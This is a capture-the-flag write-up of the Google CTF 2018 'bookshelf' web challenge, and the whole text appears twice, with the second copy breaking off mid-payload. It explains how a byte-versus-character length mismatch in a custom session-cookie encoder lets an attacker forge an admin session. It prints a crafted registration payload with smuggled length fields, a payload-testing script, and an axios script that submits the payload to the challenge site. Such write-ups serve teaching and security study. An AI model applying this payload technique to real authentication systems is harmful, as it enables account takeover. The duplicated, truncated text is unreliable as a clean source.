```  
Organize those rectangular things that take physical space!

https://books.web.ctfcompetition.com/

[Attachment]  
```

Downloaded the attachment. Surprise, the code is in there for the books CMS. I
don't have to blackbox it.

NodeJS. Beautiful.

Started looking through the code. Sniffing for anything out of place.  
```json  
{  
  "dependencies": {  
   "@google-cloud/datastore": "1.3.4",  
   "@google-cloud/storage": "1.6.0",  
   "body-parser": "1.18.2",  
   "express": "4.16.2",  
   "lodash": "4.17.5",  
   "mongodb": "3.0.2",  
   "multer": "1.3.0",  
   "mysql": "2.15.0",  
   "nconf": "0.10.0",  
   "prompt": "1.0.0",  
   "pug": "2.0.0-rc.4",  
   "uglify-js": "3.3.12",  
   "cookie-parser": "latest",  
   "uuid": "latest"  
 },  
}  
```

My guess is that there is nothing I can do about the google-cloud storage and
datastore. They won't expose a vulnerability for this challenge on their main
server, so uploading a php shell (2000's h4x0r style) is out of the question.

The fact that the versions are fixed raises a question mark. but they're the
latest, so moving on.

Enter `./app.js`  
We have  
```javascript  
app.use('/books', require('./books/crud'));  
app.use('/user', require('./books/user'));  
```

but nothing much else. Moving on through the files.

`books/api.js` -- found out the hard way it's not actually used. Maybe
something changed and they forgot it here.

`books/crud.js` -- crud operations on books

`books/user.js` -- well here it gets interesting

```javascript  
let data = req.body;

let u = await userModel.get(h(data.name));

if (u) {  
   res.status(400).send('User exists.');  
   return;  
}

if (req.file && req.file.cloudStoragePublicUrl) {  
 data.image = req.file.cloudStoragePublicUrl;  
}

if (data.name === 'admin') {  
   res.status(503).send('Nope!');  
   return;  
}

data.age = data.age | 0;

if (data.age < 18) {  
   res.status(503).send('You are too young!');  
   return;  
}

data.password = h(data.password);

userModel.update(h(data.name), data, () => {  
   res.redirect('/');  
});  
```

Particularly when he says I can't register as an `admin`. BUT MOOOOOM!!!. Well
you can't. That's the *First Clue*. I gotta have it.

Looking through `lib` directory I found  
- lib/auth.js  
- lib/bwt.js  
- lib/images.js

Analyzed `auth.js`. Seems that if you login, there's a middleware that creates
your session cookie. And it's a BWT. Kinda like a young cousin of JWT that
looks at the world with hope. Well that's a clue. The Second Clue. Why not
just use JWT my dudes? Because that would make the challenge impossible.
maybe. i guess.

Soo. `bwt.js`

```javascript  
'strict';

const crypto = require('crypto');

function pint(n) {  
   let b = new Buffer(4)  
   b.writeInt32LE(n)  
   return b  
}

function encode(o, KEY) {  
   let b = new Buffer(0)

   for (let k in o) {  
       let v = o[k]

       b = Buffer.concat([b, pint(k.length), Buffer.from(k)])

       switch(typeof v) {  
           case "string":  
               b = Buffer.concat([b, Buffer.from([1]), pint(Buffer.byteLength(v)), Buffer.from(v.toLowerCase())])  
               break  
           case 'number':  
               b = Buffer.concat([b, Buffer.from([2]), pint(v)])  
               break  
           default:  
               b = Buffer.concat([b, Buffer.from([0])])  
               break  
       }  
   }

   b = b.toString('base64')

   const hmac = crypto.createHmac('sha256', KEY)  
   hmac.update(b)  
   let s = hmac.digest('base64')

   return b + '.' + s  
}

function decode(payload, KEY) {  
   let [b, s] = payload.split('.')

   const hmac = crypto.createHmac('sha256', KEY)  
   hmac.update(b)  
   if (s !== hmac.digest('base64')) {  
       return null;  
   }

   let o = {}  
   let i = 0  
   b = new Buffer(b, 'base64')

   while (i < b.length) {  
       n = b.readUInt32LE(i), i += 4  
       k = b.toString('utf8', i, i+n), i += n  
       t = b.readUInt8(i), i += 1

       switch(t) {  
           case 1:  
               n = b.readUInt32LE(i), i += 4  
               v = b.toString('utf8', i, i+n), i += n  
               o[k] = v  
               break  
           case 2:  
               n = b.readUInt32LE(i), i += 4  
               o[k] = n  
               break  
           default:  
               break  
       }  
   }  
   return o  
}

module.exports = function(key) {  
   return {  
       encode: (o) => encode(o, key),  
       decode: (p) => decode(p, key)  
   }  
}  
```

I looked really deep into it's easy. But couldn't see anything. How do you
break the key?! You don't... Maybe HMAC? Nope.

Looking around the site I noticed that if I login multiple times, the keys
scramble around in the session.

```  
< set-cookie:
auth=BAAAAG5hbWUBCQAAAG55dHIwZ2VuMQgAAABwYXNzd29yZAFAAAAANjVlODRiZTMzNTMyZmI3ODRjNDgxMjk2NzVmOWVmZjNhNjgyYjI3MTY4YzBlYTc0NGIyY2Y1OGVlMDIzMzdjNQMAAABhZ2UCFAAAAAQAAABkZXNjAQQAAAAxMjM3AgAAAGlkAUAAAABhYzM5NGQ0MjNiNDI1NGU0ZGI3MTVlMGUzNDRhODBlZjU5ODE4MTQzNzkxNzBiMWMxNzE5MDU0NWYwZWNiZjdj.YBcJKLB6va%2BHpADFIIfxssCuUqeKnp9v2evfPOgSnCM%3D;
Path=/

\u0004\u0000\u0000\u0000name\u0001\u0009\u0000\u0000\u0000nytr0gen1\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5\u0003\u0000\u0000\u0000age\u0002\u0014\u0000\u0000\u0000\u0004\u0000\u0000\u0000desc\u0001\u0004\u0000\u0000\u00001237\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u0000ac394d423b4254e4db715e0e344a80ef5981814379170b1c17190545f0ecbf7c

< set-cookie:
auth=BAAAAGRlc2MBBAAAADEyMzcEAAAAbmFtZQEJAAAAbnl0cjBnZW4xCAAAAHBhc3N3b3JkAUAAAAA2NWU4NGJlMzM1MzJmYjc4NGM0ODEyOTY3NWY5ZWZmM2E2ODJiMjcxNjhjMGVhNzQ0YjJjZjU4ZWUwMjMzN2M1AwAAAGFnZQIUAAAAAgAAAGlkAUAAAABhYzM5NGQ0MjNiNDI1NGU0ZGI3MTVlMGUzNDRhODBlZjU5ODE4MTQzNzkxNzBiMWMxNzE5MDU0NWYwZWNiZjdj.03lJdjbM2jI3z4P458fD5%2FdTb97bEvoXAOHaAUI5Ohs%3D;
Path=/

\u0004\u0000\u0000\u0000desc\u0001\u0004\u0000\u0000\u00001237\u0004\u0000\u0000\u0000name\u0001\u0009\u0000\u0000\u0000nytr0gen1\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5\u0003\u0000\u0000\u0000age\u0002\u0014\u0000\u0000\u0000\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u0000ac394d423b4254e4db715e0e344a80ef5981814379170b1c17190545f0ecbf7c

< set-cookie:
auth=CAAAAHBhc3N3b3JkAUAAAAA2NWU4NGJlMzM1MzJmYjc4NGM0ODEyOTY3NWY5ZWZmM2E2ODJiMjcxNjhjMGVhNzQ0YjJjZjU4ZWUwMjMzN2M1AwAAAGFnZQIUAAAABAAAAGRlc2MBBAAAADEyMzcEAAAAbmFtZQEJAAAAbnl0cjBnZW4xAgAAAGlkAUAAAABhYzM5NGQ0MjNiNDI1NGU0ZGI3MTVlMGUzNDRhODBlZjU5ODE4MTQzNzkxNzBiMWMxNzE5MDU0NWYwZWNiZjdj.3VHfeHTFDGEr7tHcFj3%2By8DoAGZRxyqlXlFygJDfg40%3D;
Path=/

\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5\u0003\u0000\u0000\u0000age\u0002\u0014\u0000\u0000\u0000\u0004\u0000\u0000\u0000desc\u0001\u0004\u0000\u0000\u00001237\u0004\u0000\u0000\u0000name\u0001\u0009\u0000\u0000\u0000nytr0gen1\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u0000ac394d423b4254e4db715e0e344a80ef5981814379170b1c17190545f0ecbf7c  
```

kinda like this. well I got this idea. While eating some nutella with
pancakes. that maybe, maybe I can get a combination on login that could put
`desc` the last. And with that I can write some magical stuff and overwrite
the `id`. Which seems to be the last one always. You can check `curl-login.sh`
for repeated SPAAM.

Well the idea seems valid. I gotta be admin right?! But going back to `bwt.js`
my idea is smashed into little pieces because he takes `length` into account.

```javascript  
// k is for key  
// v is for value  
b = Buffer.concat([b, pint(k.length), Buffer.from(k)])  
switch(typeof v) {  
   case "string":  
       b = Buffer.concat([b, Buffer.from([1]), pint(Buffer.byteLength(v)), Buffer.from(v.toLowerCase())])  
       break  
   case 'number':  
       b = Buffer.concat([b, Buffer.from([2]), pint(v)])  
       break  
   default:  
       b = Buffer.concat([b, Buffer.from([0])])  
       break  
```

but wait. what is that `Buffer.byteLength(v)`. It seems you use that for utf8.
There's a neat example on [nodejs
docs](https://nodejs.org/api/buffer.html#buffer_class_method_buffer_bytelength_string_encoding).
`// Prints: ½ + ¼ = ¾: 9 characters, 12 bytes` Omg that's exactly what I need.
And would you look at that, the key uses `.length` and only the value is
encoded with `byteLength`. BIG CLUE. What if we insert some multibyte chars,
so it decodes before the key ends. But can we?! I remembered something strange
I saw earlier.

In `views/user/reg.pug` there's a field called `desc`. But there is no `desc`
field in `books/user.js`. How can that be?! Well I gotta check the model.
Modern Advanced 31337 Corporate Frameworks check fields and validate in there.

We're looking for `userModel.update`  
```javascript  
function toDatastore (obj, nonIndexed) {  
 nonIndexed = nonIndexed || [];  
 let results = [];  
 Object.keys(obj).forEach((k) => {  
   if (obj[k] === undefined) {  
     return;  
   }  
   results.push({  
     name: k,  
     value: obj[k],  
     excludeFromIndexes: nonIndexed.indexOf(k) !== -1  
   });  
 });  
 return results;  
}

function update (id, data, cb) {  
 let key;  
 if (id) {  
   key = ds.key([kind, id.toString()]);  
 } else {  
   key = ds.key(kind);  
 }

 const entity = {  
   key: key,  
   data: toDatastore(data)  
 };

 ds.save(  
   entity,  
   (err) => {  
data.id = entity.key.name;  
     cb(err, err ? null : data);  
   }  
 );  
}  
```

NO WAY MAN. everything I send to that register is stored in the db.

SO I can manufacture a special key, which decodes into the object I want. Can
I overwrite the id? Hell yeah. If I just make the decoder somehow comment out
the id, I'm gold.

From here I just had to understand how the encoder `lib/bwt.js` moves the bits
around. And then I created a register payload.

At this point I got so fluent in BWT code that I didn't code anything to spill
out bwt code for me. It was like second nature. I created `bwt-payload.js` to
test my wild theories, which is basically a `lib/bwt.js` without the hmac.  
```javascript  
'strict';

const crypto = require('crypto');

function pint(n) {  
   let b = new Buffer(4)  
   b.writeInt32LE(n)  
   return b  
}

function encode(o) {  
   let b = new Buffer(0)

   for (let k in o) {  
       let v = o[k]

       b = Buffer.concat([b, pint(k.length), Buffer.from(k)])

       switch(typeof v) {  
       case "string":  
           b = Buffer.concat([b, Buffer.from([1]), pint(Buffer.byteLength(v)), Buffer.from(v.toLowerCase())])  
           break  
       case 'number':  
           b = Buffer.concat([b, Buffer.from([2]), pint(v)])  
           break  
       default:  
           b = Buffer.concat([b, Buffer.from([0])])  
           break  
       }  
   }

   b = b.toString('base64')

   return b  
}

function decode(b) {  
   let o = {}  
   let i = 0  
   b = new Buffer(b, 'base64')

   while (i < b.length) {  
       n = b.readUInt32LE(i), i += 4  
       k = b.toString('utf8', i, i+n), i += n  
       t = b.readUInt8(i), i += 1

       console.log(k, n);

       switch(t) {  
       case 1:  
           n = b.readUInt32LE(i), i += 4  
           v = b.toString('utf8', i, i+n), i += n  
           o[k] = v  
           break  
       case 2:  
           n = b.readUInt32LE(i), i += 4  
           o[k] = n  
           break  
       default:  
           break  
       }  
   }  
   return o  
}

// encode non printable  
var encodeNP = function(s){  
   var hex, c;  
   var result = '';  
   for (var i = 0; i < s.length; i++) {  
       c = s[i];  
       if (c >= 32 && c <= 126) {  
           result += String.fromCharCode(c);  
       } else {  
           hex = c.toString(16);  
           result += '\\u' + ('000'+hex).slice(-4);  
       }  
   }

   return result;  
}

const payload = {  
   'name': 'nytr0gen31337',  
   'age': 20,  
   'desc': 13,  
   "zzzz\u00bd\u00bd\u00bd\u00bd\u00bd\u0001\u0005\u0000\u0000\u0000":
"\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin" +  
       "\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918" +  
       "\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5" +  
       "\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000",  
   'password':
'65e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5',  
   'id': 'deadbeefb5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918'  
};  
console.log(payload);  
const plm = encode(payload);  
console.log(plm);  
console.log(encodeNP(new Buffer(plm, 'base64')));  
console.log(decode(plm));  
```

```javascript  
// PAYLOAD BEFORE ENCODING  
{  
   'name': 'nytr0gen31337',  
   'age': 20,  
   'desc': 13,  
   "zzzz\u00bd\u00bd\u00bd\u00bd\u00bd\u0001\u0005\u0000\u0000\u0000":
"\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin" +  
       "\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918" +  
       "\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5" +  
       "\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000",  
   'password':
'65e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5',  
   'id': 'deadbeefb5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918'  
}  
```

What interests us is this part  
```  
"zzzz\u00bd\u00bd\u00bd\u00bd\u00bd\u0001\u0005\u0000\u0000\u0000":  
   "\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin" +  
"\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918"
+  
"\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5"
+  
   "\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000",  
```

So we have `4*z`, `5*\u00bd` and `\u0001\u0005\u0000\u0000\u0000`. This helps
us skip 5 magic header bits from the key. Specifically
`\u0001\u00bb\u0000\u0000\u0000`. So everything in the value part gets decoded
as new keys.

name. `\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin` admin
yeah

id.
`\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918`.
sha256('admin')

password.
`\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5`.
sha256('qwerty')

As you have seen before, id is always put last when creating the session
cookie. We have to make the decoder skip it, because it will overwrite our id.
bad.

`\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000`. this does exactly
that. under the key `pl` with a length of `\u00ff\u00ff\u0000\u0000 == 65535`.
It seems that if I tried a length lesser than what was after it, the script
will fail miserably. But anything bigger is cool.

What does it look like after decoding?

```javascript  
// ENCODED_PAYLOAD AFTER DECODING  
{ name: 'admin',  
 age: 20,  
 desc: 13,  
 'zzzz½½½½½': '\u0001\u00bb\u0000\u0000\u0000',  
 id:  
  '8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918',  
 password:  
  '65e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5',  
 pl:  
'\u0000\u0000\b\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u0000deadbeefb5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918'
}  
```

We're IN! now i just have to register with that payload.

```javascript  
// Requires NodeJs  
// and `npm install axios`  
const axios = require('axios');  
const querystring = require('querystring');

axios({  
   method: 'post',  
   url: `https://books.web.ctfcompetition.com/user/register`,  
   headers: {  
       referer: 'https://books.web.ctfcompetition.com/user/register',  
       'Content-Type': 'application/x-www-form-urlencoded',  
   },  
   data: querystring.stringify({  
       'name': 'nytr0gen31337',  
       'age': 20,  
       'desc': 13,  
       "zzzz\u00bd\u00bd\u00bd\u00bd\u00bd\u0001\u0005\u0000\u0000\u0000": "\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin" +  
       "\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918" +  
       "\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5" +  
       "\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000",  
       'password': 'qwerty',  
   }),  
}).then((response) => {  
   console.log(response.data);  
}).catch((err) => {  
   console.error(err);  
});  
```

login as `nytr0gen31337` and we're finished, go to my books.

```  
CTF{1892b0d8bc93d7e4ca98975f47f8c7d8}  
```

that look like an md5. what's in there?  

Original writeup (https://github.com/nytr0gen/google-ctf-2018-quals-
writeups/tree/master/bookshelf).```  
Organize those rectangular things that take physical space!

https://books.web.ctfcompetition.com/

[Attachment]  
```

Downloaded the attachment. Surprise, the code is in there for the books CMS. I
don't have to blackbox it.

NodeJS. Beautiful.

Started looking through the code. Sniffing for anything out of place.  
```json  
{  
"dependencies": {  
"@google-cloud/datastore": "1.3.4",  
"@google-cloud/storage": "1.6.0",  
"body-parser": "1.18.2",  
"express": "4.16.2",  
"lodash": "4.17.5",  
"mongodb": "3.0.2",  
"multer": "1.3.0",  
"mysql": "2.15.0",  
"nconf": "0.10.0",  
"prompt": "1.0.0",  
"pug": "2.0.0-rc.4",  
"uglify-js": "3.3.12",  
"cookie-parser": "latest",  
"uuid": "latest"  
},  
}  
```

My guess is that there is nothing I can do about the google-cloud storage and
datastore. They won't expose a vulnerability for this challenge on their main
server, so uploading a php shell (2000's h4x0r style) is out of the question.

The fact that the versions are fixed raises a question mark. but they're the
latest, so moving on.

Enter `./app.js`  
We have  
```javascript  
app.use('/books', require('./books/crud'));  
app.use('/user', require('./books/user'));  
```

but nothing much else. Moving on through the files.

`books/api.js` -- found out the hard way it's not actually used. Maybe
something changed and they forgot it here.

`books/crud.js` -- crud operations on books

`books/user.js` -- well here it gets interesting

```javascript  
let data = req.body;

let u = await userModel.get(h(data.name));

if (u) {  
res.status(400).send('User exists.');  
return;  
}

if (req.file && req.file.cloudStoragePublicUrl) {  
data.image = req.file.cloudStoragePublicUrl;  
}

if (data.name === 'admin') {  
res.status(503).send('Nope!');  
return;  
}

data.age = data.age | 0;

if (data.age < 18) {  
res.status(503).send('You are too young!');  
return;  
}

data.password = h(data.password);

userModel.update(h(data.name), data, () => {  
res.redirect('/');  
});  
```

Particularly when he says I can't register as an `admin`. BUT MOOOOOM!!!. Well
you can't. That's the *First Clue*. I gotta have it.

Looking through `lib` directory I found  
\- lib/auth.js  
\- lib/bwt.js  
\- lib/images.js

Analyzed `auth.js`. Seems that if you login, there's a middleware that creates
your session cookie. And it's a BWT. Kinda like a young cousin of JWT that
looks at the world with hope. Well that's a clue. The Second Clue. Why not
just use JWT my dudes? Because that would make the challenge impossible.
maybe. i guess.

Soo. `bwt.js`

```javascript  
'strict';

const crypto = require('crypto');

function pint(n) {  
let b = new Buffer(4)  
b.writeInt32LE(n)  
return b  
}

function encode(o, KEY) {  
let b = new Buffer(0)

for (let k in o) {  
let v = o[k]

b = Buffer.concat([b, pint(k.length), Buffer.from(k)])

switch(typeof v) {  
case "string":  
b = Buffer.concat([b, Buffer.from([1]), pint(Buffer.byteLength(v)),
Buffer.from(v.toLowerCase())])  
break  
case 'number':  
b = Buffer.concat([b, Buffer.from([2]), pint(v)])  
break  
default:  
b = Buffer.concat([b, Buffer.from([0])])  
break  
}  
}

b = b.toString('base64')

const hmac = crypto.createHmac('sha256', KEY)  
hmac.update(b)  
let s = hmac.digest('base64')

return b + '.' + s  
}

function decode(payload, KEY) {  
let [b, s] = payload.split('.')

const hmac = crypto.createHmac('sha256', KEY)  
hmac.update(b)  
if (s !== hmac.digest('base64')) {  
return null;  
}

let o = {}  
let i = 0  
b = new Buffer(b, 'base64')

while (i < b.length) {  
n = b.readUInt32LE(i), i += 4  
k = b.toString('utf8', i, i+n), i += n  
t = b.readUInt8(i), i += 1

switch(t) {  
case 1:  
n = b.readUInt32LE(i), i += 4  
v = b.toString('utf8', i, i+n), i += n  
o[k] = v  
break  
case 2:  
n = b.readUInt32LE(i), i += 4  
o[k] = n  
break  
default:  
break  
}  
}  
return o  
}

module.exports = function(key) {  
return {  
encode: (o) => encode(o, key),  
decode: (p) => decode(p, key)  
}  
}  
```

I looked really deep into it's easy. But couldn't see anything. How do you
break the key?! You don't... Maybe HMAC? Nope.

Looking around the site I noticed that if I login multiple times, the keys
scramble around in the session.

```  
< set-cookie:
auth=BAAAAG5hbWUBCQAAAG55dHIwZ2VuMQgAAABwYXNzd29yZAFAAAAANjVlODRiZTMzNTMyZmI3ODRjNDgxMjk2NzVmOWVmZjNhNjgyYjI3MTY4YzBlYTc0NGIyY2Y1OGVlMDIzMzdjNQMAAABhZ2UCFAAAAAQAAABkZXNjAQQAAAAxMjM3AgAAAGlkAUAAAABhYzM5NGQ0MjNiNDI1NGU0ZGI3MTVlMGUzNDRhODBlZjU5ODE4MTQzNzkxNzBiMWMxNzE5MDU0NWYwZWNiZjdj.YBcJKLB6va%2BHpADFIIfxssCuUqeKnp9v2evfPOgSnCM%3D;
Path=/

\u0004\u0000\u0000\u0000name\u0001\u0009\u0000\u0000\u0000nytr0gen1\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5\u0003\u0000\u0000\u0000age\u0002\u0014\u0000\u0000\u0000\u0004\u0000\u0000\u0000desc\u0001\u0004\u0000\u0000\u00001237\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u0000ac394d423b4254e4db715e0e344a80ef5981814379170b1c17190545f0ecbf7c

< set-cookie:
auth=BAAAAGRlc2MBBAAAADEyMzcEAAAAbmFtZQEJAAAAbnl0cjBnZW4xCAAAAHBhc3N3b3JkAUAAAAA2NWU4NGJlMzM1MzJmYjc4NGM0ODEyOTY3NWY5ZWZmM2E2ODJiMjcxNjhjMGVhNzQ0YjJjZjU4ZWUwMjMzN2M1AwAAAGFnZQIUAAAAAgAAAGlkAUAAAABhYzM5NGQ0MjNiNDI1NGU0ZGI3MTVlMGUzNDRhODBlZjU5ODE4MTQzNzkxNzBiMWMxNzE5MDU0NWYwZWNiZjdj.03lJdjbM2jI3z4P458fD5%2FdTb97bEvoXAOHaAUI5Ohs%3D;
Path=/

\u0004\u0000\u0000\u0000desc\u0001\u0004\u0000\u0000\u00001237\u0004\u0000\u0000\u0000name\u0001\u0009\u0000\u0000\u0000nytr0gen1\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5\u0003\u0000\u0000\u0000age\u0002\u0014\u0000\u0000\u0000\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u0000ac394d423b4254e4db715e0e344a80ef5981814379170b1c17190545f0ecbf7c

< set-cookie:
auth=CAAAAHBhc3N3b3JkAUAAAAA2NWU4NGJlMzM1MzJmYjc4NGM0ODEyOTY3NWY5ZWZmM2E2ODJiMjcxNjhjMGVhNzQ0YjJjZjU4ZWUwMjMzN2M1AwAAAGFnZQIUAAAABAAAAGRlc2MBBAAAADEyMzcEAAAAbmFtZQEJAAAAbnl0cjBnZW4xAgAAAGlkAUAAAABhYzM5NGQ0MjNiNDI1NGU0ZGI3MTVlMGUzNDRhODBlZjU5ODE4MTQzNzkxNzBiMWMxNzE5MDU0NWYwZWNiZjdj.3VHfeHTFDGEr7tHcFj3%2By8DoAGZRxyqlXlFygJDfg40%3D;
Path=/

\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5\u0003\u0000\u0000\u0000age\u0002\u0014\u0000\u0000\u0000\u0004\u0000\u0000\u0000desc\u0001\u0004\u0000\u0000\u00001237\u0004\u0000\u0000\u0000name\u0001\u0009\u0000\u0000\u0000nytr0gen1\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u0000ac394d423b4254e4db715e0e344a80ef5981814379170b1c17190545f0ecbf7c  
```

kinda like this. well I got this idea. While eating some nutella with
pancakes. that maybe, maybe I can get a combination on login that could put
`desc` the last. And with that I can write some magical stuff and overwrite
the `id`. Which seems to be the last one always. You can check `curl-login.sh`
for repeated SPAAM.

Well the idea seems valid. I gotta be admin right?! But going back to `bwt.js`
my idea is smashed into little pieces because he takes `length` into account.

```javascript  
// k is for key  
// v is for value  
b = Buffer.concat([b, pint(k.length), Buffer.from(k)])  
switch(typeof v) {  
case "string":  
b = Buffer.concat([b, Buffer.from([1]), pint(Buffer.byteLength(v)),
Buffer.from(v.toLowerCase())])  
break  
case 'number':  
b = Buffer.concat([b, Buffer.from([2]), pint(v)])  
break  
default:  
b = Buffer.concat([b, Buffer.from([0])])  
break  
```

but wait. what is that `Buffer.byteLength(v)`. It seems you use that for utf8.
There's a neat example on [nodejs
docs](https://nodejs.org/api/buffer.html#buffer_class_method_buffer_bytelength_string_encoding).
`// Prints: ½ + ¼ = ¾: 9 characters, 12 bytes` Omg that's exactly what I need.
And would you look at that, the key uses `.length` and only the value is
encoded with `byteLength`. BIG CLUE. What if we insert some multibyte chars,
so it decodes before the key ends. But can we?! I remembered something strange
I saw earlier.

In `views/user/reg.pug` there's a field called `desc`. But there is no `desc`
field in `books/user.js`. How can that be?! Well I gotta check the model.
Modern Advanced 31337 Corporate Frameworks check fields and validate in there.

We're looking for `userModel.update`  
```javascript  
function toDatastore (obj, nonIndexed) {  
nonIndexed = nonIndexed || [];  
let results = [];  
Object.keys(obj).forEach((k) => {  
if (obj[k] === undefined) {  
return;  
}  
results.push({  
name: k,  
value: obj[k],  
excludeFromIndexes: nonIndexed.indexOf(k) !== -1  
});  
});  
return results;  
}

function update (id, data, cb) {  
let key;  
if (id) {  
key = ds.key([kind, id.toString()]);  
} else {  
key = ds.key(kind);  
}

const entity = {  
key: key,  
data: toDatastore(data)  
};

ds.save(  
entity,  
(err) => {  
data.id = entity.key.name;  
cb(err, err ? null : data);  
}  
);  
}  
```

NO WAY MAN. everything I send to that register is stored in the db.

SO I can manufacture a special key, which decodes into the object I want. Can
I overwrite the id? Hell yeah. If I just make the decoder somehow comment out
the id, I'm gold.

From here I just had to understand how the encoder `lib/bwt.js` moves the bits
around. And then I created a register payload.

At this point I got so fluent in BWT code that I didn't code anything to spill
out bwt code for me. It was like second nature. I created `bwt-payload.js` to
test my wild theories, which is basically a `lib/bwt.js` without the hmac.  
```javascript  
'strict';

const crypto = require('crypto');

function pint(n) {  
let b = new Buffer(4)  
b.writeInt32LE(n)  
return b  
}

function encode(o) {  
let b = new Buffer(0)

for (let k in o) {  
let v = o[k]

b = Buffer.concat([b, pint(k.length), Buffer.from(k)])

switch(typeof v) {  
case "string":  
b = Buffer.concat([b, Buffer.from([1]), pint(Buffer.byteLength(v)),
Buffer.from(v.toLowerCase())])  
break  
case 'number':  
b = Buffer.concat([b, Buffer.from([2]), pint(v)])  
break  
default:  
b = Buffer.concat([b, Buffer.from([0])])  
break  
}  
}

b = b.toString('base64')

return b  
}

function decode(b) {  
let o = {}  
let i = 0  
b = new Buffer(b, 'base64')

while (i < b.length) {  
n = b.readUInt32LE(i), i += 4  
k = b.toString('utf8', i, i+n), i += n  
t = b.readUInt8(i), i += 1

console.log(k, n);

switch(t) {  
case 1:  
n = b.readUInt32LE(i), i += 4  
v = b.toString('utf8', i, i+n), i += n  
o[k] = v  
break  
case 2:  
n = b.readUInt32LE(i), i += 4  
o[k] = n  
break  
default:  
break  
}  
}  
return o  
}

// encode non printable  
var encodeNP = function(s){  
var hex, c;  
var result = '';  
for (var i = 0; i < s.length; i++) {  
c = s[i];  
if (c >= 32 && c <= 126) {  
result += String.fromCharCode(c);  
} else {  
hex = c.toString(16);  
result += '\\\u' + ('000'+hex).slice(-4);  
}  
}

return result;  
}

const payload = {  
'name': 'nytr0gen31337',  
'age': 20,  
'desc': 13,  
"zzzz\u00bd\u00bd\u00bd\u00bd\u00bd\u0001\u0005\u0000\u0000\u0000":
"\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin" +  
"\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918"
+  
"\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5"
+  
"\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000",  
'password':
'65e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5',  
'id': 'deadbeefb5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918'  
};  
console.log(payload);  
const plm = encode(payload);  
console.log(plm);  
console.log(encodeNP(new Buffer(plm, 'base64')));  
console.log(decode(plm));  
```

```javascript  
// PAYLOAD BEFORE ENCODING  
{  
'name': 'nytr0gen31337',  
'age': 20,  
'desc': 13,  
"zzzz\u00bd\u00bd\u00bd\u00bd\u00bd\u0001\u0005\u0000\u0000\u0000":
